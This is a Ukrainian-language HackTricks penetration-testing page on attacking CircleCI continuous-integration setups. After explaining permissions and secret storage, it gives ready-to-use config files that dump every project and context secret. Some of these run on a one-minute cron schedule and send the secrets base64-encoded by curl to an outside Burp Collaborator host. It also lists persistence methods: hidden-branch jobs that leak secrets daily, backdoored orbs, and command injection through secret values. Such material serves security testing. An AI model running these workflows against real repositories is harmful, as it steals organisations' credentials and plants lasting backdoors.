CircleCI Security

Support HackTricks

Basic Information

CircleCI є платформою безперервної інтеграції, де ви можете визначити шаблони, вказуючи, що ви хочете, щоб вона робила з деяким кодом і коли це робити. Таким чином, ви можете автоматизувати тестування або деплойменти безпосередньо з вашої основної гілки репозиторію, наприклад.

Permissions

CircleCI успадковує дозволи з github та bitbucket, пов'язані з обліковим записом, який входить в систему. Під час тестування я перевірив, що, поки у вас є права на запис у репозиторії в github, ви зможете керувати налаштуваннями проекту в CircleCI (встановлювати нові ssh-ключі, отримувати ключі api проекту, створювати нові гілки з новими конфігураціями CircleCI...).

Однак вам потрібно бути адміністратором репозиторію, щоб перетворити репозиторій на проект CircleCI.

Env Variables & Secrets

Згідно з документацією існують різні способи завантаження значень у змінні середовища всередині робочого процесу.

Built-in env variables

Кожен контейнер, запущений CircleCI, завжди матиме конкретні змінні середовища, визначені в документації такі як CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME або CIRCLE_USERNAME.

Clear text

Ви можете оголосити їх у відкритому тексті всередині команди:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Ви можете оголосити їх у відкритому тексті всередині середовища виконання:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Ви можете оголосити їх у відкритому тексті всередині build-job environment:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Ви можете оголосити їх у відкритому тексті всередині середовища контейнера:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Секрети проекту

Це секрети, які будуть доступні лише проекту (для будь-якої гілки). Ви можете побачити їх оголошеними в https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

Функціональність "Імпорт змінних" дозволяє імпортувати змінні з інших проектів до цього.

Секрети контексту

Це секрети, які є всередині організації. За замовчуванням будь-який репозиторій зможе доступати до будь-якого секрету, збереженого тут:

Однак, зверніть увагу, що можна вибрати іншу групу (замість усіх учасників), щоб надавати доступ до секретів лише конкретним людям. Це наразі один з найкращих способів підвищити безпеку секретів, не дозволяючи всім отримувати до них доступ, а лише деяким.

Атаки

Пошук секретів у відкритому тексті

Якщо у вас є доступ до VCS (наприклад, github), перевірте файл .circleci/config.yml кожного репозиторію на кожній гілці та пошукайте потенційні секрети у відкритому тексті, збережені там.

Перерахування змінних середовища секретів та контексту

Перевіряючи код, ви можете знайти всі назви секретів, які використовуються в кожному файлі .circleci/config.yml. Ви також можете отримати назви контекстів з цих файлів або перевірити їх у веб-консолі: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Екстракція секретів проекту

Щоб екстрагувати ВСІ секрети проекту та контексту, вам просто потрібно мати ПРАВО НА ЗАПИС до лише 1 репозиторію в усій організації github (і ваш обліковий запис повинен мати доступ до контекстів, але за замовчуванням кожен може отримати доступ до кожного контексту).

Функціональність "Імпорт змінних" дозволяє імпортувати змінні з інших проектів до цього. Тому зловмисник може імпортувати всі змінні проекту з усіх репозиторіїв і потім екстрагувати їх усі разом.

Усі секрети проекту завжди встановлюються в середовищі завдань, тому просто викликавши env і обфускавши його в base64, ви екстрагуєте секрети в консолі веб-логів робочих процесів:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Якщо ви не маєте доступу до веб-консолі, але у вас є доступ до репозиторію і ви знаєте, що використовується CircleCI, ви можете просто створити робочий процес, який запускається кожну хвилину і експортує секрети на зовнішню адресу:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Екстракція секретів контексту

Вам потрібно вказати ім'я контексту (це також екстрактує секрети проекту):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Якщо ви не маєте доступу до веб-консолі, але у вас є доступ до репозиторію і ви знаєте, що використовується CircleCI, ви можете просто змінити робочий процес, який запускається кожну хвилину і експортує секрети на зовнішню адресу:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Просто створення нового .circleci/config.yml в репозиторії не є достатнім для запуску збірки circleci. Вам потрібно увімкнути його як проект у консолі circleci.

Втеча в Хмару

CircleCI надає вам можливість запускати ваші збірки на їхніх машинах або на ваших власних. За замовчуванням їхні машини розташовані в GCP, і спочатку ви не зможете знайти нічого релевантного. Однак, якщо жертва виконує завдання на своїх власних машинах (можливо, у хмарному середовищі), ви можете знайти кінцеву точку метаданих хмари з цікавою інформацією.

Зверніть увагу, що в попередніх прикладах все запускалося всередині контейнера docker, але ви також можете попросити запустити віртуальну машину (яка може мати різні дозволи в хмарі):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Або навіть контейнер Docker з доступом до віддаленого сервісу Docker:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistence

  • Можна створити токени користувача в CircleCI для доступу до API-інтерфейсів з доступом користувача.

  • https://app.circleci.com/settings/user/tokens

  • Можна створити токени проекту для доступу до проекту з правами, наданими токену.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Можна додати SSH-ключі до проектів.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Можна створити cron job у прихованій гілці в несподіваному проекті, який leak всі context env змінні щодня.

  • Або навіть створити в гілці / змінити відоме завдання, яке буде leak всі контексти та projects secrets щодня.

  • Якщо ви є власником github, ви можете дозволити неперевірені orbs і налаштувати один у завданні як backdoor.

  • Ви можете знайти вразливість ін'єкції команд в деяких завданнях і ін'єктувати команди через secret, змінюючи його значення.

Support HackTricks

Last updated